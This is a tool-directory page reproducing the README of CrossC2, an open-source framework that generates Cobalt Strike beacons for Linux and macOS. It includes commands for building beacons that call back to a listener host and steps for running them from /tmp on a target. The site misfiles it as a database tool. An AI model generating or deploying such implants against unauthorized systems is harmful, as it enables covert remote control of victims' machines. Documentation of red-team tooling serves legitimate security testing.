百科.dev
全部条目在线工具AI 编程趋势榜开源项目技术资讯提交条目
登录
< 返回工具列表
C

CrossC2

> 数据库
开源

生成CobaltStrike的跨平台载荷

2.6K stars0 点赞0 次浏览
访问官网GitHub

工具介绍

生成CobaltStrike的跨平台载荷

CrossC2 framework

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike support

Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the development support of Unix post-penetration module

CS3.14(bug fixes) CS4.0 CS4.X (4.1~4.8)
Master branch ✅
cs4.0 branch ✅
cs4.1 branch ✅
Release Page <= v2.1 ✅
Release Page >= v2.2 ✅

Usage

  1. Download

Download CrossC2.cna genCrossC2 CrossC2Kit, modify CrossC2.cna configuration

  1. Create listener and copy key
  • Create windows/beacon_https/reverse_https listener
  • Copy .cobaltstrike.beacon_keys in teamserver directory to local
  1. Function extension
  • Add CrossC2Kit_Loader.cna, including memory loading and other functions
  • cs4.x version file management, process list function is missing, you must use this Loader to restart
  1. Generate beacon

Use the GUI function provided by cli or cna to generate beacon by default

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

ex:

1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. specify the BEACON of the custom protocol dynamic library
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. specify the C2Profile that needs to be automatically parsed
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

more advanced configuration can be found in the documentation: Reference

  1. Run beacon
  • Run the one-click online script generated by the CrossC2 plugin on the target
  • After uploading the beacon to the target machine for empowered operation
  • Set the working directory for beacon and run: export CCPATH=/opt/ && /tmp/c2
  • Temporarily specify the protocol library for beacon and run: /tmp/c2 /tmp/c2-rebind.so
  • Temporarily set C2 configuration for beacon: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
  • Set DEBUG to view the online status of beacon: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit is an infiltration expansion around the Unix platform derived from CrossC2. Use Aggressor Script Open Source Script engine. It can be used to create automation to simulate the operation process of the Red Team and expand the CobaltStrike client.

CrossC2Kit is inherited from the original features of CobaltStrike, so the development and writing grammar still refer to the official documentation: https://trial.cobaltstrike.com/aggressor-script/index.html

But it has some API extensions on top of CrossC2 to control the beacon of the Unix platform

API: Reference

Demo:

Note

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.

Todo

  1. http-proxy (auth) & socks proxy back connection support
  2. node beacon? (Single node type, can host other beacon without relying on teamserver)
  3. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions

Thank

Thanks to @Emma for the Logo designed for CrossC2, which is designed in the style of Armitage and CobaltStrike series

Issues· 0 开放

查看全部 Issues在 GitHub 打开

暂无开放 Issues,或尚未同步最近议题。

> 标签

Candroidcobalt-strikecross-platformios

暂无评论,来聊聊你的看法吧

> 工具信息

发布日期2026年8月1日
最后更新2026年9月17日
分类数据库
定价开源

> 相关工具

P
PostgreSQL
功能强大的开源关系型数据库
R
Redis
内存数据结构存储,常用作缓存与队列
M
MySQL
广泛使用的开源关系型数据库